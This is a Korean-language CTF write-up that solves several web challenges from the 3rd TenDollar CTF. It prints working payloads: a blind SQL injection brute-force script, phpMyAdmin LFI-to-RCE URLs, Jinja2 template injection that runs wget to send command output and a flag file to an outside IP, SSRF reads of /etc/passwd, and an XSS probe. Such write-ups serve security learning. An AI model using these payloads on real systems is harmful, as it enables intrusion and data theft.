| by munsiwoo | 6 comments

3rd TenDollar CTF Write up

Summary

대회명: Tendollor CTF
일정: 24 Nov, 09:00 ~ 25 Nov, 15:00 KST

대회는 개인전이었고 지인을 통해 초대 코드를 받아야 참가할 수 있다.
스코어보드는 다이나믹 스코어링 방식이었고 전체적으로 난이도가 중~상 정도 되어보였다.
문제 이름이 XSS인 문제가 있었는데 꽤 재밌게 풀어서 풀이 작성해본다. (XSS는 마지막에)


I’m Blind Not Deaf (250pts)

<?php
include './config.php';
if(preg_match('tdf|/_|\.|\(\)/i', $_GET[pw])) exit("No Hack Please~! -0-"); 
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("Manner Please~! :) :)"); 
$query = "select id from tdf where id='root' and pw='{$_GET[pw]}'"; 
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = mysqli_query($conn,$query);
$row = mysqli_fetch_array($result);
if($row['id'] == 'root'){
#echo "<h2>Nice Meet You! {$row['id']}</h2>";
echo "<h2>Hello {$row[id]}</h2>";
}

$_GET[pw] = addslashes($_GET[pw]); 
$query = "select pw from tdf where id='root' and pw='{$_GET[pw]}'"; 
$result = mysqli_query($conn,$query);
$row = mysqli_fetch_array($result);
if(($row['pw']) && ($row['pw'] == $_GET['pw'])){
echo $nice_tendollar;
}
highlight_file(__FILE__); 
?>

웹 문제중 가장 많이 풀린 문제다.
위 코드를 보면 딱히 필터링이 없기 때문에 blind sqliroot라는 계정의 비밀번호를 뽑아오면 된다.

import requests
import string

if __name__ == '__main__' :
    uri = "http://blind.tendollar.kr:8100/?pw=%27||(id)in('root')%26%26(pw)like('{}%')%23"
    password = '70801f6a'

    for x in range(20) :
        for y in string.digits + string.ascii_letters :
            r = requests.get(uri.format(password + y)).text
            if(r.find('<h2>Hello root</h2>') != -1) :
                password += y
                break
            else :
                print('no : ' + y)
        print(password)

root 계정의 비밀번호를 알아냈다. (70801f6a)
이렇게 root의 비밀번호를 알아내면 다음 스테이지로 이동할 수 있다.

Congraturation!!!!
Next Question: LFI(Local File Inclusion) in phpMyAdmin 4.8.0~4.8.1...
URL:phpmyadmin/index.php......... flag.txt
root's password:@1@2@3@4qwerasdf

다음 스테이지의 주소는 /phpmyadmin 이다. (사실 sqli를 하지 않고 게싱으로도 찾을 수 있었다.)
아까 알아낸 비번으로 root 계정으로 로그인해주자.

phpmyadmin 버전이 4.8.x 라는것을 알기 때문에
최근 CTF에 많이 등장한 CVE-2018-12613 (PMA 4.8.x RCE) 원데이를 이용해 공격할 수 있다.

위 블로그를 보면 RCE할 때 PHP세션을 이용하는데 해당 문제에서는 PHP세션 디렉토리가 /tmp다.
따라서 LFI할 때 /var/lib/php/sessions 대신 /tmp에서 세션을 가져와야 한다.

http://blind.tendollar.kr:8100/phpmyadmin/?target=db_sql.php%253f/../../../../../../../../../../../../tmp/sess_d234daed4a69adcb5434609fea57f66d&0=system(%27ls%27);
http://blind.tendollar.kr:8100/phpmyadmin/?target=db_sql.php%253f/../../../../../../../../../../../../tmp/sess_26a9b78a5ec5874ded520965780e15bd&0=system(%22cat%20/FLLLLLL4444444GGGGGG%22);

Ninja (450pts)

Ninja문제는 jinja2 server side template injection문제다.
ssti에 몇가지 필터 키워드가 추가된 문제며, 키워드를 피해 잘 인젝션해주면 된다.
jinja2 ssti할때 참고하면 좋은 글이 몇 가지 있는데

https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti
https://ctftime.org/writeup/10895
https://0day.work/jinja2-template-injection-filter-bypasses/

여길 참고하면 좀 더 쉽게 풀 수 있다.

http://web2.tendollar.kr:10000/?name={{get_flashed_messages.__globals__.os.system(request.args.param)}}¶m=wget%20118.37.183.185:8080/?$(ls)
http://web2.tendollar.kr:10000/?name={{get_flashed_messages.__globals__.os.system(request.args.param)}}¶m=wget --header="Content-type: multipart/form-data boundary=FILEUPLOAD" --post-file flag.py 118.37.183.185:8080

LinkedList – 1

LinkedList 1는 PHP 오디팅 통해 풀 수 있는 문제다.
source.zip을 다운받아서 압축을 풀어 index.php를 확인해보면 PHP로 Linked list를 구현해놨다.

그리고 php에서 error message를 숨길 때 사용하는 @가 떡칠되어 있는데
전부다 ”로 치환하여 @를 지우고 보는게 정신건강에 좋다.

우선 우리가 목표로하는 flag가 어떤 조건일 때 출력되는지 확인해보자.

if ($_SESSION['link']['admin_only_list']) {
    unset($_SESSION['link']);
    die("<script type='text/javascript'>alert('GJ!!! The first flag is ".addslashes($flag1)."');location.href='.';</script>");
    admin:
        if ($_POST['value'] && $_POST['key']) {
            $obj->insert($_GET['value'], $_POST['key']);
            $arr[$_POST['key']] = $_GET['value'];
            $_SESSION['link'][$_SESSION['link']['name']."_list"] = json_encode($arr);
        }
}

이건 flag출력 조건인데, 조건은 $_SESSION[‘link’][‘admin_only_list’]안에
어떠한 값이든 있어야 한다는 조건이다.

아래는 우리가 아이디를 입력했을 때 $_SESSION[‘link’]에 아이디를 넣어주는 부분이다.

if ($_POST['name']) {
    $_SESSION['link'] = array('name' => htmlspecialchars($_POST['name']), 'time' => time());
    die("<script type='text/javascript'>location.href='.';</script>");
}

그리고 아래는 Linked list에서 리스트의 Node를 삭제하는 부분이다.

if ($_GET['p'] == 'delete' && isset($_GET['key'])) {
    if (!$arr[0]) $arr[0] = '';
    $obj->deleteNode($_GET['key']);
    unset($arr[$_GET['key']]);
    #$_SESSION['link'][$_SESSION['link']['name']."_tail"] = (int)$_GET['key'] & 0x7fffffff;
    #$_SESSION['link'][$_SESSION['link']['name']."_tail"]--;
    $_SESSION['link'][$_SESSION['link']['name']."_list"] = json_encode($arr);
    die("<script type='text/javascript'>location.href='.';</script>");
}

우리가 주목할 부분은
$_SESSION['link'][$_SESSION['link']['name']."_list"] = json_encode($arr); 이 부분이다.
$_SESSION[‘link’][가입한 아이디 . ‘_list’]로 값을 넣어준다.
즉, 아이디를 admin_only라는 이름으로 가입하고 ?p=delete&key=1로 접속하면
$_SESSION['link']['admin_only_list']로 어떠한 값이든 들어가 flag를 출력할 것이다.


LinkedList – 2

LinkedList - 1 문제와 같은 사이트, 같은 소스로 푸는 문제다.
아래는 LinkedList - 2의 flag 출력 조건이다.

if ($_SESSION['link'][$_SESSION['link']['name']."_tail"] > 0xff) {
    unset($_SESSION['link']);
    die("<script type='text/javascript'>alert('Realrudaganya?!?!? The second flag is ".addslashes($flag2)."');location.href='.';</script>");
}

이번엔 $_SESSION['link'][가입한 이름 . '_tail']의 값이 0xff보다 크면 flag를 준다.
아래는 LinkedList에 첫 번째 Node를 넣을 때 실행하는 코드다.

if ($_GET['p'] == 'insert_first' && isset($_GET['value'])) {
    $obj->insertFirst(htmlspecialchars($_GET['value']));
    $_SESSION['link'][$_SESSION['link']['name']."_tail"]++;
    $arr[0] = htmlspecialchars($_GET['value']);
    $_SESSION['link'][$_SESSION['link']['name']."_list"] = json_encode($arr);
    die("<script type='text/javascript'>location.href='.';</script>");
}

우리가 주목할 부분은 $_SESSION['link'][$_SESSION['link']['name']."_tail"]++; 이 부분이다.
그냥 단순하게 생각해서 해당 세션의 값을 ++해주니까 어찌됐든 0xff보다 커지려면 255번 이상 ++해주면된다.
즉, http://web1.tendollar.kr:10101/?p=insert_first&value=1 로 접근 255번 이상해주면 풀린다.


XSS

먼저 사이트에 접속하면 search, signin, contact 이렇게 3가지 기능이 있다.
여기서 search하고 signin 기능은 장식이고 contact 기능만 정상적으로 작동한다.
contact에서 emailcontent를 작성해서 보내면 어드민이 내 글을 읽고, 해당 부분에서 XSS가 발생한다.
여기서 XSS가 발생한다는 사실은 아래와 같은 방법으로 알 수 있다.

우선 내 서버에서 nc -lnk -p 8080 명령어를 통해 8080으로 nc를 열어주고 contact에서
<img src="http://withphp.com:8080">를 보낸 후 기다리면 아래와 같이 어드민이 접속한다.

GET / HTTP/1.1
Host: withphp.com:8080
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/70.0.3538.110 Safari/537.36
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Referer: http://localhost/archiver?url=http%3A%2F%2Flocalhost%2Fadmin%3F_id%3Dadmin%26_pw%3Dadmin123%5E__%5E
Accept-Encoding: gzip, deflate

여기서 주목할 점은 어드민의 Referer 부분이다.
Referer은 사이트 방문객이 어떤 경로로 자신의 사이트에 방문했는지 알아볼 때 사용하는 HTTP 헤더다.
http://localhost/archiver?url=http://localhost/admin?_id=admin&_pw=admin123^__^ 로 되어 있으니
어드민이 해당 주소에서 내 글을 봤다고 볼 수 있겠다.

http://web1.tendollar.kr:10102/archiver?url= 로 이동해보자.
대충 보니 url 파라미터에서 LFI나 SSRF가 터질 거 같다.
file:///etc/passwd를 입력해보면 정말로 passwd파일이 읽히는걸 확인할 수 있다.
여기서 file:///proc/self/cwd/main.py를 읽으면 source leak을 할 수 있다.

# -*- encoding:utf-8 -*-
from flask import Flask, render_template, render_template_string, request
import sqlite3
import urllib2
from selenium import webdriver

app = Flask(__name__)

createtable = """CREATE TABLE IF NOT EXISTS contact (
id integer PRIMARY KEY AUTOINCREMENT,
email text,
message text,
is_checked integer DEFAULT 0
);
"""

@app.route("/")
def index():
    return render_template('index.html')

@app.route("/contact")
def login():
    return render_template('contact.html')

@app.route("/submit", methods=['GET'])
def submit():
    email = request.args.get('email')
    message = request.args.get('message')

    conn = sqlite3.connect("/tmp/mydb.db")
    cur = conn.cursor()
    cur.execute(createtable)

    sql = "insert into contact(email, message) values (?, ?);"
    cur.execute(sql, (email, message))
    conn.commit()
    conn.close()

    bot()

    return "<script>alert(\"접수 완료\"); history.back(-1);</script>"

@app.route("/admin", methods=['GET'])
def admin():
    _id = request.args.get('_id')
    _pw = request.args.get('_pw')
    _email = request.args.get('email')

    if not (_id == "admin" and _pw == "admin123^__^"):
        return "do not hack!"

    conn = sqlite3.connect("/tmp/mydb.db")
    cur = conn.cursor()
    cur.execute(createtable)

    sql = "select * from contact where is_checked = 0 limit 1;"

    if _email is not None:
        sql = "select * from contact where email = '%s' limit 1;" % _email.replace("'", "''")

    cur.execute(sql)
    rows = cur.fetchall()

    if len(rows) == 0:
        conn.close()
        return "None"

    idx = rows[0][0]
    email = rows[0][1]
    message = rows[0][2]
    is_checked = rows[0][3]

    sql = "update contact set is_checked = 1 where id = %d" % idx
    cur.execute(sql)
    conn.commit()
    conn.close()

    result = """
    idx : %d<br>
    email : %s<br>
    message : %s<br>
    is_checked : %d<br>
    """ % (idx, email, message, is_checked)

    return render_template_string(result)

@app.route("/archiver", methods=['GET'])
def archiver():
    url = request.args.get('url')
    r = urllib2.Request(url)
    r.add_header('Referer', request.url)
    return urllib2.urlopen(r).read()

def bot():
    options = webdriver.ChromeOptions()
    options.add_argument('headless')
    options.add_argument('window-size=1920x1080')
    options.add_argument("disable-gpu")
    options.add_argument("--no-sandbox")
    driver = webdriver.Chrome('./chromedriver', chrome_options=options)
    driver.get('http://localhost/archiver?url=http%3A%2F%2Flocalhost%2Fadmin%3F_id%3Dadmin%26_pw%3Dadmin123%5E__%5E')
    driver.implicitly_wait(1)
    driver.quit()

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=True, port=80)

나는 main.pymydb.db에 플래그가 있을 줄 알았으나 확인해보니 없었다.
그럼 여기서 우리가 주목할 부분은 render_template_string(result) 이 부분이다.
render_template_string와 같은 렌더링 함수는 {{}}로 감싸진 부분을 jinja2로 넘겨준다.
즉, {{1}}와 같이 보내면 server side template injection이 가능하다는 얘기다.

이제 email이나 contents부분에 템플릿 인젝션 페이로드를 넣어서 보내주고
http://web1.tendollar.kr:10102/admin?_id=admin&_pw=admin123^__^ 로 접속해서 확인하면 된다.

셀레니움 봇이 돌고 있으므로 아래와 같은 스크립트를 돌려놓고 들어가는게 편하다.

import requests

if __name__ == '__main__' :
    exploit = "{{''.__class__.__mro__[2].__subclasses__()[234](['ls', '-al'], shell=True, stdout=-1, stderr=-1,stdin=-1).stdout.read()}}"

    for x in range(3) :
        requests.get('http://web1.tendollar.kr:10102/submit?email='+exploit+'&message=abcd')

Leave a Reply